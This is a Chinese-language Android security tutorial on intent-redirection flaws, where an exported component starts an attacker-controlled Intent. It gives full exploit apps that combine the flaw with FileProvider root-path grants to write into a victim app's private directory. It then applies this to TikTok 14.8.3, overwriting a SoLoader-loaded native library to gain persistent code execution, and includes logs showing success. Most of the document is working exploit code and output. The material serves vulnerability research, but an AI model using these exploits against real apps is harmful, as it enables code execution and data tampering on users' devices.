Date Version Description Author
0x00 前言
任意私有组件启动是安卓应用非常经典的一类漏洞模型,简单来说就是漏洞应用调用startActivity()
方法的时候,其参数intent
外部可控,或者部分字段可控,结合漏洞应用的特性或者FileProvider配置,即可实现任意私有文件读写,如果VictimAPP安装目录下存在可执行文件,在应用运行时存在动态加载的操作,那么使用任意私有文件读写原语就可以覆盖动态库,进一步实现任意代码执行
0x01 任意私有组件启动漏洞
1.1 创建漏洞应用工程
来看简化后的漏洞模式,组件MainActivity
导出,其onCreate()
方法获取传入Intent的一个字段作为startActivity()
的参数进行调用,这就叫作任意私有组件启动漏洞
Copy public class MainActivity extends AppCompatActivity {
final private static String TAG = String . format ( "[*] [%s]" , MainActivity . class . getName ());
@ Override
protected void onCreate ( Bundle savedInstanceState) {
super . onCreate (savedInstanceState);
setContentView( R . layout . activity_main ) ;
Log . e (TAG , "onCreate: " + getIntent() . toUri ( Intent . URI_INTENT_SCHEME ));
Intent target_intent = getIntent() . getParcelableExtra ( "target_intent" );
if (target_intent != null ) {
startActivity(target_intent) ;
}
}
}
再创建一个私有Activity组件PrivateActivity
作为利用组件
Copy public class PrivateActivity extends Activity {
final private static String TAG = String . format ( "[*] [%s]" , PrivateActivity . class . getName ());
@ Override
protected void onCreate (@ Nullable Bundle savedInstanceState) {
super . onCreate (savedInstanceState);
setContentView( R . layout . private_layout ) ;
Log . e (TAG , "onCreate: " + getIntent() . toUri ( Intent . URI_INTENT_SCHEME ));
}
}
1.2 创建漏洞利用工程
将打开私有组件的target_intent
塞到发送出去的Intent里
Copy public class MainActivity extends AppCompatActivity {
final private static String TAG = String . format ( "[*] [%s]" , MainActivity . class . getName ());
@ Override
protected void onCreate ( Bundle savedInstanceState) {
super . onCreate (savedInstanceState);
setContentView( R . layout . activity_main ) ;
Log . e (TAG , "onCreate: " + getIntent() . toUri ( Intent . URI_INTENT_SCHEME ));
String victimPackageName = "com.wnagzihxa1n.vulnerableapp.startactivity" ;
String victimMainActivityName = "com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity" ;
String victimPrivateActivityName = "com.wnagzihxa1n.vulnerableapp.startactivity.PrivateActivity" ;
Intent expIntent = new Intent() ;
expIntent . setClassName (victimPackageName , victimPrivateActivityName);
Intent intent = new Intent() ;
intent . setClassName (victimPackageName , victimMainActivityName);
intent . putExtra ( "target_intent" , expIntent);
startActivity(intent) ;
}
}
1.3 调试记录
运行VictimAPP,打印出日志
Copy E/[*] [com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity]: onCreate: intent:#Intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;launchFlags=0x10000000;component=com.wnagzihxa1n.vulnerableapp.startactivity/.MainActivity;end
运行ExploitAPP,此时会再次打印出MainActivity.onCreate()
的日志,然后跳转到PrivateActivity
,再次打印出PrivateActivity.onCreate()
的日志
日志信息,先打开VictimAPP的MainActivity
,再跳到PrivateActivity
Copy E/[*] [com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity]: onCreate: intent:#Intent;component=com.wnagzihxa1n.vulnerableapp.startactivity/.MainActivity;end
2022-04-18 19:57:25.924 10397-10397/com.wnagzihxa1n.vulnerableapp.startactivity E/[*] [com.wnagzihxa1n.vulnerableapp.startactivity.PrivateActivity]: onCreate: intent:#Intent;component=com.wnagzihxa1n.vulnerableapp.startactivity/.PrivateActivity;end
0x02 结合FileProvider授权私有文件访问特性实现任意私有文件读写
拥有任意私有组件启动漏洞有一个通用的利用方式,就是结合FileProvider配置获取到VictimAPP安装目录下私有文件的文件读、写或者读写权限
首先来理解下FileProvider的使用场景,谷歌为了替换file://
这种文件URI,使用FileProvider来描述文件
在VictimAPP里创建一个VictimFileProvider
Copy public class VictimFileProvider extends FileProvider {
}
在Manifest里添加配置,authorities
和name
用于描述当前的FileProvider,grantUriPermissions
表示当前FileProvider可以提供临时访问授权,一般情况下,FileProvider不能配置为导出,其中的meta-data
里会包含一个xml文件,这个文件描述了当前FileProvider可以访问的路径
Copy < provider
android : authorities = "com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider"
android : name = "com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider"
android : grantUriPermissions = "true"
android : exported = "false" >
< meta-data
android : name = "android.support.FILE_PROVIDER_PATHS"
android : resource = "@xml/victim_paths" />
</ provider >
在victim_paths.xml
里,root-path
描述系统根目录,files-path
描述安装应用目录下的files
文件夹,cache-path
和external-path
分别表示缓存目录和SD卡下的目录,一般来说许多应用为了业务方便都直接配置root-path
,部分被攻破的应用会增强这部分的配置
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< paths >
< root-path name = "root" path = "" />
< files-path name = "internal_files" path = "." />
< cache-path name = "cache" path = "" />
< external-path name = "external_files" path = "images" />
</ paths >
修改ExploitAPP的expIntent
,有两个新增字段,Flags
用于描述授权的类型,分别是读、写或者读写,Data
用于描述指向的文件URI,这里也可以指向路径文件夹前缀,表示整个文件夹的访问权限授权,对应的Flags
字段也要做修改,最后修改要打开的组件为ExploitAPP的ExploitActivity
,用于授权后读取VictimAPP私有目录文件
Copy public class MainActivity extends AppCompatActivity {
final private static String TAG = String . format ( "[*] [%s]" , MainActivity . class . getName ());
@ Override
protected void onCreate ( Bundle savedInstanceState) {
super . onCreate (savedInstanceState);
setContentView( R . layout . activity_main ) ;
Log . e (TAG , "onCreate: " + getIntent() . toUri ( Intent . URI_INTENT_SCHEME ));
String exploitPackageName = "com.wnagzihxa1n.exploit.startactivity" ;
String exploitActivityyName = "com.wnagzihxa1n.exploit.startactivity.ExploitActivity" ;
Intent expIntent = new Intent() ;
expIntent . setClassName (exploitPackageName , exploitActivityyName);
expIntent . setFlags ( Intent . FLAG_GRANT_READ_URI_PERMISSION | Intent . FLAG_GRANT_WRITE_URI_PERMISSION );
expIntent.setData(Uri.parse("content://com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider/root/data/data/com.wnagzihxa1n.vulnerableapp.startactivity/attack_by_wnagzihxa1n"));
String victimPackageName = "com.wnagzihxa1n.vulnerableapp.startactivity" ;
String victimMainActivityName = "com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity" ;
Intent intent = new Intent() ;
intent . setClassName (victimPackageName , victimMainActivityName);
intent . putExtra ( "target_intent" , expIntent);
startActivity(intent) ;
}
}
ExploitAPP创建ExploitActivity
Copy public class ExploitActivity extends Activity {
final private static String TAG = String . format ( "[*] [%s]" , ExploitActivity . class . getName ());
@ Override
protected void onCreate (@ Nullable Bundle savedInstanceState) {
super . onCreate (savedInstanceState);
Log . e (TAG , "onCreate: " + getIntent() . toUri ( Intent . URI_INTENT_SCHEME ));
}
}
日志一共有三段:
第一段是ExploitAPP启动时的日志
Copy [*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity E onCreate: intent:#Intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;launchFlags=0x10000000;component=com.wnagzihxa1n.exploit.startactivity/.MainActivity;end
第二段是VictimAPPP(被调用)启动时的日志
Copy [*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.vulnerableapp.startactivity E onCreate: intent:#Intent;component=com.wnagzihxa1n.vulnerableapp.startactivity/.MainActivity;end
第三段是跳回ExploitAPP的ExploitActivity
的日志
Copy [*] [com.wnagzih...ExploitActivity] com.wnagzihxa1n.exploit.startactivity E onCreate: intent://com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider/root/data/data/com.wnagzihxa1n.vulnerableapp.startactivity/attack_by_wnagzihxa1n#Intent;scheme=content;launchFlags=0x3;component=com.wnagzihxa1n.exploit.startactivity/.ExploitActivity;end
整个利用的流程如下
修改ExploitAPP的ExploitActivity
,获取传入的URI进行数据写入
Copy public class ExploitActivity extends Activity {
final private static String TAG = String . format ( "[*] [%s]" , ExploitActivity . class . getName ());
@ Override
protected void onCreate (@ Nullable Bundle savedInstanceState) {
super . onCreate (savedInstanceState);
Log . e (TAG , "onCreate: " + getIntent() . toUri ( Intent . URI_INTENT_SCHEME ));
try {
OutputStream outputStream = getContentResolver() . openOutputStream ( getIntent() . getData ());
IOUtils . copy ( getAssets() . open ( "hacked_by_wnagzihxa1n" ) , outputStream);
outputStream . close ();
} catch ( IOException e) {
e . printStackTrace ();
}
}
}
成功写入,那么进一步的利用就是寻找动态库去覆写,如果没有动态库或者动态库加载过程存在签名校验,可以结合具体的业务逻辑实现进一步的利用
Copy crosshatch:/data/data/com.wnagzihxa1n.vulnerableapp.startactivity # ls -al
total 32
drwx------ 5 u0_a156 u0_a156 3488 2022 -04-19 00 :31 .
drwxrwx--x 208 system system 24576 2022 -04-18 19 :55 ..
-rwx------ 1 u0_a156 u0_a156 0 2022 -04-19 00 :31 attack_by_wnagzihxa1n // < --
drwxrws--x 2 u0_a156 u0_a156_cache 3488 2022 -04-18 19 :15 cache
drwxrws--x 2 u0_a156 u0_a156_cache 3488 2022 -04-18 19 :15 code_cache
drwxrwx--x 2 u0_a156 u0_a156 3488 2022 -04-18 22 :38 files
这里使用到了一个三方文件读写库
https://dlcdn.apache.org/commons/io/binaries/
0x03 实例漏洞
在掌握了最基本的漏洞模型与利用方式之后,我们结合几个RealWorld真实案例来深入掌握这部分的知识
3.1 TikTok漏洞一:[TikTok] [14.8.3] NotificationBroadcastReceiver任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
完整漏洞分析
https://wnagzihxa1n.gitbook.io/happy-android-security/application_security/bytedancetiktokcomzhiliaoappmusically1483notificationbroadcastreceiver-ren-yi-si-you-zu-jian-qi-dong
上线时间 应用名 包名 软件版本 下载链接 https://www.apkmirror.com/apk/tiktok-pte-ltd/tik-tok-including-musical-ly/tik-tok-including-musical-ly-14-8-3-release/
组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver
导出
Copy < receiver android : name = "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver" >
< intent-filter >
< action android : name = "notification_cancelled" />
</ intent-filter >
</ receiver >
当Action为notification_clicked
的时候,会获取contentIntentURI
传入startActivity()
进行跳转,由于contentIntentURI
外部可控,所以可以跳转调用任意私有不导出Activity组件
Copy public class NotificationBroadcastReceiver extends BroadcastReceiver {
@ Override // android.content.BroadcastReceiver
public void onReceive ( Context context , Intent intent) {
if (context != null && intent != null ) {
String action = intent . getAction ();
int intent_type = intent . getIntExtra ( "type" , - 1 );
if (intent_type != - 1 ) {
((NotificationManager) context . getSystemService ( "notification" )) . cancel (intent_type);
}
Intent intent_contentIntentURI = (Intent) intent . getParcelableExtra ( "contentIntentURI" );
if (( "notification_clicked" . equals (action)) && intent_contentIntentURI != null ) {
try {
intent_contentIntentURI . getDataString ();
context . startActivity (intent_contentIntentURI); // [1]
}
catch ( Exception unused_ex) {
}
}
if ( "notification_cancelled" . equals (action)) {
Map map = null ;
if (intent_contentIntentURI != null ) {
map = (Map) intent_contentIntentURI . getSerializableExtra ( "log_data_extra_to_adsapp" );
}
h . a ( "push_clear" , map);
}
return ;
}
}
}
找到一个可用的FileProvider
Copy < provider
android : authorities = "com.zhiliaoapp.musically.fileprovider"
android : exported = "false"
android : grantUriPermissions = "true"
android : name = "android.support.v4.content.FileProvider" >
< meta-data android : name = "android.support.FILE_PROVIDER_PATHS" android : resource = "@xml/c" />
</ provider >
对应的配置文件
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< paths xmlns : android = "http://schemas.android.com/apk/res/android" >
< root-path name = "name" path = "" />
...
</ paths >
给漏洞组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver
发送广播
Copy public class MainActivity extends AppCompatActivity {
@ Override
protected void onCreate ( Bundle savedInstanceState) {
super . onCreate (savedInstanceState);
setContentView( R . layout . activity_main ) ;
handleIntent(getIntent()) ;
}
private void handleIntent ( Intent i) {
Intent intent = new Intent( "notification_clicked" ) ;
intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
sendBroadcast(intent) ;
}
}
回顾下漏洞代码段,会获取contentIntentURI
字段,用于后续跳转
Copy Intent intent_contentIntentURI = (Intent) intent . getParcelableExtra ( "contentIntentURI" );
if (( "notification_clicked" . equals (action)) && intent_contentIntentURI != null ) {
try {
intent_contentIntentURI . getDataString ();
context . startActivity (intent_contentIntentURI); // 启动外部可控的Intent
}
catch ( Exception unused_ex) {
}
}
如下即可实现指定应用获取URI指向文件的读写权限,从NotificationBroadcastReceiver
跳到ExploitAPP的MainActivity
的时候就获得了对URI指向文件的读写权限,此处指定的文件是/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so
,同时指定了Action为TIKTOK_ATTACK_NotificationBroadcastReceiver
,会去调用else
分支,将我们的SO文件写入指定的路径
Copy public class MainActivity extends AppCompatActivity {
@ Override
protected void onCreate ( Bundle savedInstanceState) {
super . onCreate (savedInstanceState);
setContentView( R . layout . activity_main ) ;
handleIntent(getIntent()) ;
}
@ Override
protected void onNewIntent ( Intent intent) {
super . onNewIntent (intent);
handleIntent(intent) ;
}
private void handleIntent ( Intent i) {
if ( ! "TIKTOK_ATTACK_NotificationBroadcastReceiver" . equals ( i . getAction ())) {
// NotificationBroadcastReceiver.onReceive()调用startActivity()使用的Intent,用于PoC获取FileProvider的文件读写权限
Intent next = new Intent( "TIKTOK_ATTACK_NotificationBroadcastReceiver" ) ;
next . setClassName ( getPackageName() , getClass() . getCanonicalName ());
next . setFlags ( Intent . FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent . FLAG_GRANT_WRITE_URI_PERMISSION );
next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so"));
// 发往NotificationBroadcastReceiver的Intent
Intent intent = new Intent( "notification_clicked" ) ;
intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
intent . putExtra ( "contentIntentURI" , next);
sendBroadcast(intent) ;
}
else {
try {
OutputStream outputStream = getContentResolver() . openOutputStream ( i . getData ());
InputStream inputStream = getAssets() . open ( "evil_lib.so" );
IOUtils . copy (inputStream , outputStream);
inputStream . close ();
outputStream . close ();
}
catch ( Throwable th) {
throw new RuntimeException(th) ;
}
}
}
}
我们分析下为什么是文件com.zhiliaoapp.musically/lib-main/libimagepipeline.so
,这得从Facebook开源的SoLoader说起,这个工具可以自动实现SO文件的加载,能够解决大量动态库的依赖问题,它有个特点是会把所有的动态库放到/data/data/PackageName/lib-main
,然后应用启动的时候会去这个路径下加载动态库,但在测试过程中,这个路径下默认是没有库文件的
那我们既然拥有/data/data/com.zhiliaoapp.musically
下文件的读写能力,就可以指定其中一个动态库去覆写,应用启动的时候就会加载我们覆写后的动态库,实现代码执行
我们使用如下的代码生成用于攻击的SO,提取其中64位的版本放到ExploitAPP的Assets文件夹下
Copy #include <jni.h>
#include <string>
#include <android/log.h>
#define LOG_TAG "######################################################"
#define LOGE (...) __android_log_print (ANDROID_LOG_ERROR , LOG_TAG , __VA_ARGS__)
JNIEXPORT jint JNI_OnLoad (JavaVM * vm , void* reserved) {
LOGE( "Debug: [ %s ] \n" , __FUNCTION__) ;
JNIEnv * env;
if ( vm -> GetEnv ( reinterpret_cast <void**> ( & env) , JNI_VERSION_1_6 ) != JNI_OK) {
return JNI_ERR;
}
return JNI_VERSION_1_6;
}
需要注意的是不同版本有不一样的行为,在某些版本并不能生成lib-main文件夹,可以替换成app_librarian/14.8.3.6327148996
攻击过程:先安装TikTok,点击启动运行,再运行ExploitAPP,覆写SO,再重启TikTok就会发现漏洞利用成功,这样也会造成问题,有的库函数没有实现会导致崩溃,需要手动调用原来的libimagepipeline.so
库函数,并把结果返回
Copy 04-29 15:01:09.720 14186 14500 E ######################################################: Debug: [JNI_OnLoad]
04-29 15:01:09.720 14186 14500 E zygote : No implementation found for long com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeAllocate(int) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate__I)
04-29 15:01:09.721 14186 14500 E AndroidRuntime: FATAL EXCEPTION: FrescoIoBoundExecutor-2
04-29 15:01:09.721 14186 14500 E AndroidRuntime: Process: com.zhiliaoapp.musically, PID: 14186
04-29 15:01:09.721 14186 14500 E AndroidRuntime: java.lang.UnsatisfiedLinkError: No implementation found for long com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeAllocate(int) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate__I)
04-29 15:01:10.514 14186 14194 E zygote : No implementation found for void com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeFree(long) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree__J)
04-29 15:01:10.514 14186 14194 E System : java.lang.UnsatisfiedLinkError: No implementation found for void com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeFree(long) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree__J)
3.2 TikTok漏洞二:[TikTok] [14.8.3] DetailActivity任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
完整漏洞分析
https://wnagzihxa1n.gitbook.io/happy-android-security/application_security/bytedancetiktokcomzhiliaoappmusically1483detailactivity-ren-yi-si-you-zu-jian-qi-dong-jie-he-filepro
上线时间 应用名 包名 软件版本 下载链接 https://www.apkmirror.com/apk/tiktok-pte-ltd/tik-tok-including-musical-ly/tik-tok-including-musical-ly-14-8-3-release/
组件com.ss.android.ugc.aweme.detail.ui.DetailActivity
导出
Copy < activity
android : name = "com.ss.android.ugc.aweme.detail.ui.DetailActivity"
android : screenOrientation = "portrait"
android : configChanges = "keyboard|keyboardHidden|orientation|screenSize"
android : windowSoftInputMode = "adjustUnspecified|stateHidden|adjustResize" >
< intent-filter >
< action android : name = "android.intent.action.VIEW" />
< category android : name = "android.intent.category.DEFAULT" />
< data android : scheme = "taobao" android : host = "detail.aweme.sdk.com" />
</ intent-filter >
</ activity >
获取传入的Intent去跳转,点击返回键来触发,返回键大部分的安卓机都是有的
Copy @ Override // android.support.v4.app.FragmentActivity
public void onBackPressed() {
if ( com . ss . android . ugc . aweme . utils . d . c . c ()) {
Intent intent = (Intent) this . getIntent () . getParcelableExtra ( "VENDOR_BACK_INTENT_FOR_INTENT_KEY" );
if (intent != null && intent . resolveActivity ( this . getPackageManager ()) != null ) {
this . startActivity (intent);
this . finish ();
return ;
}
}
...
}
利用过程和前一个漏洞一样,利用FileProvider的权限获得对私有目录动态库的读写能力,覆写后重启TikTok实现持久化RCE
References